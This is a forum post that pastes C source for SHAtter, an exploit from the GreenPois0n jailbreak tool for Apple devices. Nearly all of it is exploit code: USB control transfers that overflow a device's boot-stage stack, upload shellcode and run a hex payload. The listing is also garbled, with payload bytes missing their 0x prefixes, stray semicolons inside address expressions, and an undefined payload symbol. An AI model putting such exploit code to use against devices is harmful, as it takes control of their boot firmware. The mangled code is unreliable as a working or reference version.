HERE'S SHAtter!!!!!!!

/**
* GreenPois0n Syringe - exploits/SHAtter/SHAtter.c
* Copyright (C) 2010 Chronic-Dev Team
* Copyright (C) 2010 Joshua Hill
*
* Based on exploit discovered by pod2g
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
**/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include "common.h"
#include "exploits.h"
#include "SHAtter.h"
#include "libirecovery.h"

int SHAtter_exploit() {
irecv_error_t error = IRECV_E_SUCCESS;
int i, ret;
unsigned char data[0x800];
unsigned char payload[] = {
08 E0 C0 46 C0 46 C0 46 C0 46 C0 46 C0 46 C0 46 C0 46 C0 46 08 48 00 21 08 4A 00 F0 05 F8 06 48 07 49 00 22 07 4B 98 47 0B 78 03 70 01 30 01 31 01 3A 00 2A F8 D1 70 47 00 00 00 84 00 00 01 00 00 40 02 00 EF 07 00 00
};

info("Executing SHAtter exploit ...\n");
debug("Reseting usb counters.\n");
ret = irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000);
if (ret < 0) {
error("Failed to reset usb counters.\n");
return -1;
}

debug("executing stack overflow\n");
unsigned int stack_address = 0x84033F98;
for(i = 0; i < 0x23800 ; i+=0x800) {
ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, 0x800, 1000);
if (ret < 0) {
error("Failed to push data to the device.\n");
return -1;
}
}
debug("Uploading shellcode.\n");
memset(data, 0, 0x800);
memcpy(data, SHAtter_payload, sizeof(SHAtter_payload));
ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, 0x800, 1000);
if (ret < 0) {
error("Failed to upload shellcode.\n");
return -1;
}

debug("Reseting usb counters.\n");
ret = irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000);
if (ret < 0) {
error("Failed to reset usb counters.\n");
return -1;
}

int send_size = 0x100 + sizeof(payload);
*((unsigned int*) &payload;[0x14]) = send_size;
memset(data, 0, 0x800);
memcpy(&data;[0x100], payload, sizeof(payload));

ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, send_size , 1000);
if (ret < 0) {
error("Failed to send SHAtter to the device.\n");
return -1;
}
ret = irecv_control_transfer(client, 0xA1, 1, 0, 0, data, send_size , 1000);
if (ret < 0) {
error("Failed to execute SHAtter.\n");
return -1;
}
info("SHAtter sent & executed successfully.\n");

debug("Reconnecting to device\n");
client = irecv_reconnect(client, 2);
if (client == NULL) {
debug("%s\n", irecv_strerror(error));
error("Unable to reconnect\n");
return -1;
}

return 0;
}

Reply · Report Post